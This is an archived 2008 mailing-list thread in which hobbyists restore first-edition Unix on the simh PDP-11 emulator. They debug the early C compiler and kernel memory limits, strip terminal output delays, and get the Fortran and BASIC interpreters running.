> Init works now provided you edit the "itab" appropriately.  If you
> change the first entry to "'8: .." and comment out all the rest it

If anyone wants to play with it, here's the binary, configured only
to spawn on tty8.  It mounts rk0 during startup.  Drop it onto your
cold tape in place of the normal s2 /etc/init.

    http://www.thenewsh.com/%7Enewsham/unix_jun72/init

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Mon May  5 14:52:29 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 14:52:29 +1000
Subject: [Unix-jun72] last1120 C compiler added to svn
Message-ID: <20080505045229.GA76763@minnie.tuhs.org>

I'm still working on the last1120 C compiler, so I've added the original code
to svn. Right now, the compiler executes fine under Apout (enough to recompile
itself), but not on V1 with the 0407 patch. I can compile simple C programs,
and execute the resulting 0407 binary on V1. I'm running this program to get a
memory dump of the process while it is running:

main()
{
  char c[];
  int i;
  printf("Hello world\n");
  c= main;
  while (c != 0) {
    i= *c & 0277;
    printf("%o %o\n", c, i);
    c++;
  }
}

so I can compare the Apout memory environment with the V1 memory environment.
But it's very sloooow. I wonder why; V7 on simh is much faster than V1.

Cheers,
	Warren

P.S The C compiler doesn't have for loops :-)


From wkt at tuhs.org  Mon May  5 15:02:59 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 15:02:59 +1000
Subject: [Unix-jun72] Half-written disassembler also now in svn
Message-ID: <20080505050259.GA77253@minnie.tuhs.org>

I added my disassembler; it's not completely written, but it's better in the
repository in case someone else wants to poke at it.

	Warren


From wkt at tuhs.org  Mon May  5 16:08:24 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 16:08:24 +1000
Subject: [Unix-jun72] C compiler status
Message-ID: <20080505060824.GA78841@minnie.tuhs.org>

Still no great progress. I can confirm that "cc" and "cvopt" both work, but
the two compiler passes "c1" and "c2" don't work. Sometimes I can get them
to core, but with different arguments the system locks up.

On http://cm.bell-labs.com/cm/cs/who/dmr/primevalC.html, Dennis notes this:

	A second, less noticeable, but astonishing peculiarity is
	the space allocation: temporary storage is allocated that
	deliberately overwrites the beginning of the program,
	smashing its initialization code to save space. The two
	compilers differ in the details in how they cope with this.
	In the earlier one, the start is found by naming a function;
	in the later, the start is simply taken to be 0. This
	indicates that the first compiler was written before we had
	a machine with memory mapping, so the origin of the program
	was not at location 0, whereas by the time of the second,
	we had a PDP-11 that did provide mapping. (See the Unix
	History paper). In one of the files (prestruct-c/c10.c) the
	kludgery is especially evident.

It could be that this sort of memory operation is what is causing the
problem. Is there a way for simh to give an instruction trace beginning
at a certain address e.g. 040000, so I can watch c0's behaviour and see
where it goes off the rails?

Thanks,
	Warren


From newsham at lava.net  Mon May  5 16:59:25 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 4 May 2008 20:59:25 -1000 (HST)
Subject: [Unix-jun72] C compiler status
In-Reply-To: <20080505060824.GA78841@minnie.tuhs.org>
References: <20080505060824.GA78841@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805042053350.20114@malasada.lava.net>

> It could be that this sort of memory operation is what is causing the
> problem. Is there a way for simh to give an instruction trace beginning
> at a certain address e.g. 040000, so I can watch c0's behaviour and see
> where it goes off the rails?

Simh has a cpu execution history which is already turned on in our
configuration file, so at any point when youre at the simh prompt
you can "show cpu history" to see the recently executed instructions.

You can also use breakpoints to do some tracing, for example:

    break 1350;ex r0;go

will break at 1350, in syscall right after it figures out what syscall
number, dump r0, which has the syscall number, and continue, so that
you get a running syscall trace..

The downside to these methods is that they capture the entire operating
system, not just a single userland process...  It would be nice if
we could rig the emulator to skip over context switches to other
processes....   Then again, it's probably a lot easier than debugging
with blinking lights and switches...

> 	Warren

I suspect there are some more kernel gotchas left to be found.  The
fact that "cc" doesnt work properly could be due to my 0407 patch
but could equally be another kernel typo somewhere.  The fact that
init doesnt like running getty on other ttys is also making me suspect
some hidden kernel bugs...  During one of my tests with "cc" I saw
it go into panic (probably good to run with a breakpoint on panic,
too!  see build/a.out.syms) after syscall got reentered!

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Mon May  5 17:12:12 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 17:12:12 +1000
Subject: [Unix-jun72] C compiler status
In-Reply-To: <Pine.BSI.4.64.0805042053350.20114@malasada.lava.net>
References: <20080505060824.GA78841@minnie.tuhs.org>
	<Pine.BSI.4.64.0805042053350.20114@malasada.lava.net>
Message-ID: <20080505071212.GA80277@minnie.tuhs.org>

On Sun, May 04, 2008 at 08:59:25PM -1000, Tim Newsham wrote:
> Simh has a cpu execution history which is already turned on in our
> configuration file, so at any point when youre at the simh prompt
> you can "show cpu history" to see the recently executed instructions.

Thanks Tim.
It looks like we are not starting /usr/lib/c0 properly: the CPU never gets
to execute at 040000, and we end up in sysbreak without ever calling it.
I have a CPU history from sysexec at 004250 right up to where it hits a
supposed HALT instruction in sysbreak at 005752, which previously was
CMP R1,SP.

Here's the simh and Unix commands I tried:

./simh.cfg
sim> c
:login: root
# /tmp/a.out			# Mount /usr
# chdir /usr/tmp
#

Simulation stopped, PC: 007332 (MOV (SP)+,25310)
sim> break 004250
sim> c

/usr/lib/c0 z.c a b		# Run pass c0 on z.c, creating a & b tempfiles

Breakpoint, PC: 004250 (JSR R0,5634)
sim> set CPU HISTORY=0
sim> set CPU HISTORY=100000
sim> continue

HALT instruction, PC: 005754 (BCC 5762)
sim> show CPU HISTORY

I won't include the history here, as it's 49,000 instructions. But if
anybody wants a look at it, let me know.

Thanks,
	Warren


> 
> You can also use breakpoints to do some tracing, for example:
> 
>     break 1350;ex r0;go
> 
> will break at 1350, in syscall right after it figures out what syscall
> number, dump r0, which has the syscall number, and continue, so that
> you get a running syscall trace..
> 
> The downside to these methods is that they capture the entire operating
> system, not just a single userland process...  It would be nice if
> we could rig the emulator to skip over context switches to other
> processes....   Then again, it's probably a lot easier than debugging
> with blinking lights and switches...
> 
> > 	Warren
> 
> I suspect there are some more kernel gotchas left to be found.  The
> fact that "cc" doesnt work properly could be due to my 0407 patch
> but could equally be another kernel typo somewhere.  The fact that
> init doesnt like running getty on other ttys is also making me suspect
> some hidden kernel bugs...  During one of my tests with "cc" I saw
> it go into panic (probably good to run with a breakpoint on panic,
> too!  see build/a.out.syms) after syscall got reentered!
> 
> Tim Newsham
> http://www.thenewsh.com/~newsham/
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72


From wkt at tuhs.org  Mon May  5 17:50:17 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 17:50:17 +1000
Subject: [Unix-jun72] C compiler status
In-Reply-To: <20080505071212.GA80277@minnie.tuhs.org>
References: <20080505060824.GA78841@minnie.tuhs.org>
	<Pine.BSI.4.64.0805042053350.20114@malasada.lava.net>
	<20080505071212.GA80277@minnie.tuhs.org>
Message-ID: <20080505075017.GA81081@minnie.tuhs.org>

On Mon, May 05, 2008 at 05:12:12PM +1000, Warren Toomey wrote:
> It looks like we are not starting /usr/lib/c0 properly: the CPU never gets
> to execute at 040000, and we end up in sysbreak without ever calling it.

Um, just an observation: u0.s defines:

core = orig+40000  / specifies beginning of user's core
ecore = core+20000 / specifies end of user's core (4096 words)

so a user program has 020000 bytes of space; but size /usr/lib/c0 gives:

023326+03574+06640=035762, and 035762 >> 020000.

Is the value of ecore arbitrary? What's above ecore, the kernel stack?
Mind you, if we set ecore== 040000+035762, thats 075762 which doesn't
leave much room, assuming that memory on the PDP-11/20 ends at 100000.

	Warren



From wkt at tuhs.org  Mon May  5 18:02:49 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 18:02:49 +1000
Subject: [Unix-jun72] C compiler: it works!
In-Reply-To: <20080505075017.GA81081@minnie.tuhs.org>
References: <20080505060824.GA78841@minnie.tuhs.org>
	<Pine.BSI.4.64.0805042053350.20114@malasada.lava.net>
	<20080505071212.GA80277@minnie.tuhs.org>
	<20080505075017.GA81081@minnie.tuhs.org>
Message-ID: <20080505080249.GB81081@minnie.tuhs.org>

On Mon, May 05, 2008 at 05:50:17PM +1000, Warren Toomey wrote:
> Um, just an observation: u0.s defines:
> 
> core = orig+40000  / specifies beginning of user's core
> ecore = core+20000 / specifies end of user's core (4096 words)
> 
> so a user program has 020000 bytes of space; but size /usr/lib/c0 gives:
> 
> 023326+03574+06640=035762, and 035762 >> 020000.
> 
> Is the value of ecore arbitrary?

Apparently it is. I just patched u0.s to have ecore = core+35764, and
the C compiler works! i.e. it compiles a trivial C program. Later on
after dinner, I'll try to get the compiler to recompile itself.

We still need to check the effects of ecore = core+35764, just in case.

Cheers,
	Warren


From wkt at tuhs.org  Mon May  5 18:38:16 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 18:38:16 +1000
Subject: [Unix-jun72] C compiler: it works!
In-Reply-To: <20080505080249.GB81081@minnie.tuhs.org>
References: <20080505060824.GA78841@minnie.tuhs.org>
	<Pine.BSI.4.64.0805042053350.20114@malasada.lava.net>
	<20080505071212.GA80277@minnie.tuhs.org>
	<20080505075017.GA81081@minnie.tuhs.org>
	<20080505080249.GB81081@minnie.tuhs.org>
Message-ID: <20080505083816.GA82074@minnie.tuhs.org>

On Mon, May 05, 2008 at 06:02:49PM +1000, Warren Toomey wrote:
> Apparently it is. I just patched u0.s to have ecore = core+35764, and
> the C compiler works! i.e. it compiles a trivial C program. Later on
> after dinner, I'll try to get the compiler to recompile itself.

With ecore = core+60000, cc, cvopt and c0 can all be recompiled and
then used to recompile themselves. However, the existing c1 binary
from the s2 tape works, but not the recompiled c1. So it's close...
I will upload a couple of files to svn soon.

	Warren


From peterjeremy at optushome.com.au  Mon May  5 19:10:11 2008
From: peterjeremy at optushome.com.au (Peter Jeremy)
Date: Mon, 5 May 2008 19:10:11 +1000
Subject: [Unix-jun72] last1120 C compiler added to svn
In-Reply-To: <20080505045229.GA76763@minnie.tuhs.org>
References: <20080505045229.GA76763@minnie.tuhs.org>
Message-ID: <20080505091011.GL7293@server.vk2pj.dyndns.org>

On Mon, May 05, 2008 at 02:52:29PM +1000, Warren Toomey wrote:
>    i= *c & 0277;
             ^^^^ 0377 maybe

>But it's very sloooow. I wonder why; V7 on simh is much faster than V1.

Is V1 executing more instructions to get the same thing done or is simh
managing to execute V7 instruction streams (or maybe emulate higher-end
PDP-11's) better?  Judging by some of the earlier hardware comments,
maybe V1 is thrashing.

-- 
Peter Jeremy
Please excuse any delays as the result of my ISP's inability to implement
an MTA that is either RFC2821-compliant or matches their claimed behaviour.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 195 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080505/80c69108/attachment.sig>

From wkt at tuhs.org  Mon May  5 21:36:32 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 21:36:32 +1000
Subject: [Unix-jun72] Why is V1 so slow?
In-Reply-To: <20080505091011.GL7293@server.vk2pj.dyndns.org>
References: <20080505045229.GA76763@minnie.tuhs.org>
	<20080505091011.GL7293@server.vk2pj.dyndns.org>
Message-ID: <20080505113632.GA85746@minnie.tuhs.org>

On Mon, May 05, 2008 at 07:10:11PM +1000, Peter Jeremy wrote:
> On Mon, May 05, 2008 at 02:52:29PM +1000, Warren Toomey wrote:
> >    i= *c & 0277;
>              ^^^^ 0377 maybe

Yep :)
 
> >But it's very sloooow. I wonder why; V7 on simh is much faster than V1.
> 
> Is V1 executing more instructions to get the same thing done or is simh
> managing to execute V7 instruction streams (or maybe emulate higher-end
> PDP-11's) better?  Judging by some of the earlier hardware comments,
> maybe V1 is thrashing.

I think there are output delays in the kernel, probably to deal with
the speed of mechanical output devices. When I use the compiler, the
compilations are fast, but doing an ls -l /bin takes ages. We might be
able to tweak out the delays.

For example, grep delay build/u9.s, and these lines in u4.s:

1:
       cmp     r1,$11 / char = ht
       bne     1f
       movb    $15.,toutt+0 / set time out to 15 clock tics
1:
       cmp     r1,$15 / char = cr
       bne     2f
       movb    $15.,toutt+0 / set time out to 15 clock ticks
2:
       rts     r0

Cheers,
	Warren


From wkt at tuhs.org  Mon May  5 21:44:18 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 21:44:18 +1000
Subject: [Unix-jun72] Why is V1 so slow?
In-Reply-To: <20080505113632.GA85746@minnie.tuhs.org>
References: <20080505045229.GA76763@minnie.tuhs.org>
	<20080505091011.GL7293@server.vk2pj.dyndns.org>
	<20080505113632.GA85746@minnie.tuhs.org>
Message-ID: <20080505114418.GA87292@minnie.tuhs.org>

On Mon, May 05, 2008 at 09:36:32PM +1000, Warren Toomey wrote:
> I think there are output delays in the kernel.

There certainly were. I've svn committed a patch to remove these lines
from u4.s, and that really speeds things up!

	Warren
 
1:
       cmp     r1,$11 / char = ht
       bne     1f
       movb    $15.,toutt+0 / set time out to 15 clock tics
1:
       cmp     r1,$15 / char = cr
       bne     2f
       movb    $15.,toutt+0 / set time out to 15 clock ticks


From wkt at tuhs.org  Mon May  5 22:53:52 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 22:53:52 +1000
Subject: [Unix-jun72] Hey, the fortran compiler works too
Message-ID: <20080505125352.GA88861@minnie.tuhs.org>

:login: root
# chdir /usr/jack
# rm a.out x.o
# fc x.f
x.f:
Fortran
ii
iii
iiii
I
II
# ./a.out
hi      2.30   10

Cheers,
	Warren


From wkt at tuhs.org  Mon May  5 23:01:09 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 5 May 2008 23:01:09 +1000
Subject: [Unix-jun72] And so does basic
Message-ID: <20080505130109.GA88995@minnie.tuhs.org>

# bas
i=25
print i
2.50000000e1
for i = 1 10 print i next
1.00000000e0
2.00000000e0
3.00000000e0
4.00000000e0
5.00000000e0
6.00000000e0
7.00000000e0
8.00000000e0
9.00000000e0
1.00000000e1

So, that's asm, C, fortran, basic, and shell: 5 languages.

I'm sure we could get ed and roff to perform as turing machines, but
I will leave that as an exercise for the reader :-)

	Warren


From brantley at coraid.com  Tue May  6 01:37:01 2008
From: brantley at coraid.com (Brantley Coile)
Date: Mon, 5 May 2008 11:37:01 -0400
Subject: [Unix-jun72] And so does basic
In-Reply-To: <20080505130109.GA88995@minnie.tuhs.org>
Message-ID: <6df836f6cb0c54c0babb85b769a523eb@coraid.com>

Congratulations, folks!  This is really neat stuff.

 Brantley Coile
 

> # bas
> i=25
> print i
> 2.50000000e1
> for i = 1 10 print i next
> 1.00000000e0
> 2.00000000e0
> 3.00000000e0
> 4.00000000e0
> 5.00000000e0
> 6.00000000e0
> 7.00000000e0
> 8.00000000e0
> 9.00000000e0
> 1.00000000e1
> 
> So, that's asm, C, fortran, basic, and shell: 5 languages.
> 
> I'm sure we could get ed and roff to perform as turing machines, but
> I will leave that as an exercise for the reader :-)
> 
> 	Warren
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72



From newsham at lava.net  Tue May  6 02:57:15 2008
From: newsham at lava.net (Tim Newsham)
Date: Mon, 5 May 2008 06:57:15 -1000 (HST)
Subject: [Unix-jun72] C compiler status
In-Reply-To: <20080505075017.GA81081@minnie.tuhs.org>
References: <20080505060824.GA78841@minnie.tuhs.org>
	<Pine.BSI.4.64.0805042053350.20114@malasada.lava.net>
	<20080505071212.GA80277@minnie.tuhs.org>
	<20080505075017.GA81081@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805050655430.20114@malasada.lava.net>

> Is the value of ecore arbitrary? What's above ecore, the kernel stack?

ecore should be the top of memory on a 24k machine.  If you add more
RAM, you could raise ecore, but you'd have to adjust a bunch of things
    - each process has storage on rf0 allocated for it to swap to
    - the core dump dumps out 8k of memory
and probably others.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From madcrow.maxwell at gmail.com  Tue May  6 03:27:28 2008
From: madcrow.maxwell at gmail.com (Michael Kerpan)
Date: Mon, 5 May 2008 13:27:28 -0400
Subject: [Unix-jun72] Great Work!
Message-ID: <8dd2d95c0805051027y24450b1cv5c18fe3311ef7003@mail.gmail.com>

This is cool stuff. Just a few weeks after thinking "this would be
cool if we could rebuild a working early Unix from the printed source
code" you've done just that. While it seems pretty primitive, it's
certainly recognizable as a Unix already and LIGHTYEARS ahead of
anything else I've played with from that era (DOS-11 and RT-11)


From wb at freebie.xs4all.nl  Tue May  6 04:02:13 2008
From: wb at freebie.xs4all.nl (Wilko Bulte)
Date: Mon, 5 May 2008 20:02:13 +0200
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <20080505125352.GA88861@minnie.tuhs.org>
References: <20080505125352.GA88861@minnie.tuhs.org>
Message-ID: <20080505180213.GD91978@freebie.xs4all.nl>

Quoting Warren Toomey, who wrote on Mon, May 05, 2008 at 10:53:52PM +1000 ..
> :login: root
> # chdir /usr/jack
> # rm a.out x.o
> # fc x.f
> x.f:
> Fortran
> ii
> iii
> iiii
> I
> II
> # ./a.out
> hi      2.30   10

Neat..  Whats next?  LINPACK?

Wilko


From jbeisser at gmail.com  Tue May  6 04:52:15 2008
From: jbeisser at gmail.com (Johan Beisser)
Date: Mon, 5 May 2008 11:52:15 -0700
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <20080505180213.GD91978@freebie.xs4all.nl>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
Message-ID: <ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>

gcc.

On Mon, May 5, 2008 at 11:02 AM, Wilko Bulte <wb at freebie.xs4all.nl> wrote:
> Quoting Warren Toomey, who wrote on Mon, May 05, 2008 at 10:53:52PM +1000 ..
>
> > :login: root
>  > # chdir /usr/jack
>  > # rm a.out x.o
>  > # fc x.f
>  > x.f:
>  > Fortran
>  > ii
>  > iii
>  > iiii
>  > I
>  > II
>  > # ./a.out
>  > hi      2.30   10
>
>  Neat..  Whats next?  LINPACK?
>
>  Wilko
>
>
> _______________________________________________
>  Unix-jun72 mailing list
>  Unix-jun72 at minnie.tuhs.org
>  https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>



-- 
Johan Beisser
UNIX Contracting: infrastructure design, network security, disaster
planning and recovery


From wb at freebie.xs4all.nl  Tue May  6 05:22:49 2008
From: wb at freebie.xs4all.nl (Wilko Bulte)
Date: Mon, 5 May 2008 21:22:49 +0200
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
Message-ID: <20080505192248.GA92582@freebie.xs4all.nl>

Quoting Johan Beisser, who wrote on Mon, May 05, 2008 at 11:52:15AM -0700 ..
> gcc.

or emacs?

> On Mon, May 5, 2008 at 11:02 AM, Wilko Bulte <wb at freebie.xs4all.nl> wrote:
> > Quoting Warren Toomey, who wrote on Mon, May 05, 2008 at 10:53:52PM +1000 ..
> >
> > > :login: root
> >  > # chdir /usr/jack
> >  > # rm a.out x.o
> >  > # fc x.f
> >  > x.f:
> >  > Fortran
> >  > ii
> >  > iii
> >  > iiii
> >  > I
> >  > II
> >  > # ./a.out
> >  > hi      2.30   10
> >
> >  Neat..  Whats next?  LINPACK?
> >
> >  Wilko
> >
> >
> > _______________________________________________
> >  Unix-jun72 mailing list
> >  Unix-jun72 at minnie.tuhs.org
> >  https://minnie.tuhs.org/mailman/listinfo/unix-jun72
> >
> 
> 
> 
> -- 
> Johan Beisser
> UNIX Contracting: infrastructure design, network security, disaster
> planning and recovery
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
--- end of quoted text ---

-- 
Wilko


From milov at uwlax.edu  Tue May  6 05:38:23 2008
From: milov at uwlax.edu (Milo Velimirovic)
Date: Mon, 5 May 2008 14:38:23 -0500
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <20080505192248.GA92582@freebie.xs4all.nl>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
Message-ID: <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>

vi
On May 5, 2008, at 2:22 PM, Wilko Bulte wrote:

> Quoting Johan Beisser, who wrote on Mon, May 05, 2008 at 11:52:15AM  
> -0700 ..
>> gcc.
>
> or emacs?
>
>> On Mon, May 5, 2008 at 11:02 AM, Wilko Bulte <wb at freebie.xs4all.nl>  
>> wrote:
>>> Quoting Warren Toomey, who wrote on Mon, May 05, 2008 at  
>>> 10:53:52PM +1000 ..
>>>
>>>> :login: root
>>>> # chdir /usr/jack
>>>> # rm a.out x.o
>>>> # fc x.f
>>>> x.f:
>>>> Fortran
>>>> ii
>>>> iii
>>>> iiii
>>>> I
>>>> II
>>>> # ./a.out
>>>> hi      2.30   10
>>>
>>> Neat..  Whats next?  LINPACK?
>>>
>>> Wilko
>>>
>>>
>>> _______________________________________________
>>> Unix-jun72 mailing list
>>> Unix-jun72 at minnie.tuhs.org
>>> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>>>
>>
>>
>>
>> -- 
>> Johan Beisser
>> UNIX Contracting: infrastructure design, network security, disaster
>> planning and recovery
>> _______________________________________________
>> Unix-jun72 mailing list
>> Unix-jun72 at minnie.tuhs.org
>> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
> --- end of quoted text ---
>
> -- 
> Wilko
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72

--
Milo Velimirović,  Unix Computer Network Administrator
608-785-6618 Office -  608-386-2817 Cell
University of Wisconsin - La Crosse
La Crosse, Wisconsin 54601 USA   43 48 48 N 91 13 53 W
-- 
 >Yes it does
 >>No it doesn't
 >>>Because it makes following messages more difficult
 >>>>Why is top-posting evil?






From aek at bitsavers.org  Tue May  6 05:43:22 2008
From: aek at bitsavers.org (Al Kossow)
Date: Mon, 05 May 2008 12:43:22 -0700
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
References: <20080505125352.GA88861@minnie.tuhs.org>	<20080505180213.GD91978@freebie.xs4all.nl>	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
Message-ID: <481F635A.40103@bitsavers.org>

Milo Velimirovic wrote:
> vi

You're slowly converging on programs that MIGHT fit on an 11/20




From imp at bsdimp.com  Tue May  6 07:54:46 2008
From: imp at bsdimp.com (M. Warner Losh)
Date: Mon, 05 May 2008 15:54:46 -0600 (MDT)
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <481F635A.40103@bitsavers.org>
References: <20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
Message-ID: <20080505.155446.-692167945.imp@bsdimp.com>

In message: <481F635A.40103 at bitsavers.org>
            Al Kossow <aek at bitsavers.org> writes:
: Milo Velimirovic wrote:
: > vi
: 
: You're slowly converging on programs that MIGHT fit on an 11/20

You mean like TECO?

Warner


From jbeisser at gmail.com  Tue May  6 05:45:56 2008
From: jbeisser at gmail.com (Johan Beisser)
Date: Mon, 5 May 2008 12:45:56 -0700
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <481F635A.40103@bitsavers.org>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
Message-ID: <ca9bbf9a0805051245r663b461fqde471e90230a6916@mail.gmail.com>

On Mon, May 5, 2008 at 12:43 PM, Al Kossow <aek at bitsavers.org> wrote:
> Milo Velimirovic wrote:
>  > vi
>
>  You're slowly converging on programs that MIGHT fit on an 11/20

I don't know about the rest of you, but mine was actually intended as a joke.

ed may work out just fine, though.

-- 
Johan Beisser
UNIX Contracting: infrastructure design, network security, disaster
planning and recovery


From peterjeremy at optushome.com.au  Tue May  6 05:14:20 2008
From: peterjeremy at optushome.com.au (Peter Jeremy)
Date: Tue, 6 May 2008 05:14:20 +1000
Subject: [Unix-jun72] And so does basic
In-Reply-To: <20080505130109.GA88995@minnie.tuhs.org>
References: <20080505130109.GA88995@minnie.tuhs.org>
Message-ID: <20080505191420.GR7293@server.vk2pj.dyndns.org>

On Mon, May 05, 2008 at 11:01:09PM +1000, Warren Toomey wrote:
>So, that's asm, C, fortran, basic, and shell: 5 languages.

Very good.

>I'm sure we could get ed and roff to perform as turing machines, but
>I will leave that as an exercise for the reader :-)

http://www.kernelthread.com/hanoi/html/troff.html
Shortening the variable names will make it compatible with old
{n,t}roff but I'm not sure what else might be different in v1.

BTW: The mailing list currently has a 'From: <unix-jun72 at tuhs.org>' and
'Reply-To: <unix-jun72 at minnie.tuhs.org>' - shouldn't these be the same?

-- 
Peter Jeremy
Please excuse any delays as the result of my ISP's inability to implement
an MTA that is either RFC2821-compliant or matches their claimed behaviour.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 195 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080506/86af54fb/attachment.sig>

From wkt at tuhs.org  Tue May  6 09:01:45 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 6 May 2008 09:01:45 +1000
Subject: [Unix-jun72] uppercase input
In-Reply-To: <Pine.BSI.4.64.0805041552440.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031940510.20114@malasada.lava.net>
	<20080505012356.GB67094@minnie.tuhs.org>
	<Pine.BSI.4.64.0805041552440.20114@malasada.lava.net>
Message-ID: <20080505230145.GA15911@minnie.tuhs.org>

On Sun, May 04, 2008 at 03:56:57PM -1000, Tim Newsham wrote:
> I committed the fix but I don't have a good way to test it.  I can't
> seem to enter a "}" character (or upper case lettes) into the console
> so I cant easily type a test C program.  Anyone know of a setting to
> work around this or to translate ^M into ^J?

I put up a couple of kernel patches to fix the } and lowercase problem,
and to speed up console output. I spent some time trying to fix the ^M
problem, without any luck.

	Warren


From peterjeremy at optushome.com.au  Tue May  6 05:47:12 2008
From: peterjeremy at optushome.com.au (Peter Jeremy)
Date: Tue, 6 May 2008 05:47:12 +1000
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <20080505192248.GA92582@freebie.xs4all.nl>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
Message-ID: <20080505194712.GV7293@server.vk2pj.dyndns.org>

On Mon, May 05, 2008 at 09:22:49PM +0200, Wilko Bulte wrote:
>Quoting Johan Beisser, who wrote on Mon, May 05, 2008 at 11:52:15AM -0700 ..
>> gcc.
>
>or emacs?

OpenOffice.org

-- 
Peter Jeremy
Please excuse any delays as the result of my ISP's inability to implement
an MTA that is either RFC2821-compliant or matches their claimed behaviour.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 195 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080506/0780ef6f/attachment.sig>

From madcrow.maxwell at gmail.com  Tue May  6 06:09:49 2008
From: madcrow.maxwell at gmail.com (Michael Kerpan)
Date: Mon, 5 May 2008 16:09:49 -0400
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <481F635A.40103@bitsavers.org>
References: <20080505125352.GA88861@minnie.tuhs.org>
	<20080505180213.GD91978@freebie.xs4all.nl>
	<ca9bbf9a0805051152u28e82576la87c35d0622f9f1@mail.gmail.com>
	<20080505192248.GA92582@freebie.xs4all.nl>
	<6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu>
	<481F635A.40103@bitsavers.org>
Message-ID: <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com>

ed?

On Mon, May 5, 2008 at 3:43 PM, Al Kossow <aek at bitsavers.org> wrote:
> Milo Velimirovic wrote:
>  > vi
>
>  You're slowly converging on programs that MIGHT fit on an 11/20
>
>
>
>
>  _______________________________________________
>  Unix-jun72 mailing list
>  Unix-jun72 at minnie.tuhs.org
>  https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>


From wkt at tuhs.org  Tue May  6 09:49:48 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Tue, 6 May 2008 09:49:48 +1000
Subject: [Unix-jun72] Hey, the fortran compiler works too
In-Reply-To: <8dd2d95c0805051309j7532a6abrbacbfac0cf596f92@mail.gmail.com>
References: <20080505125352.GA88861@minnie.tuhs.org>
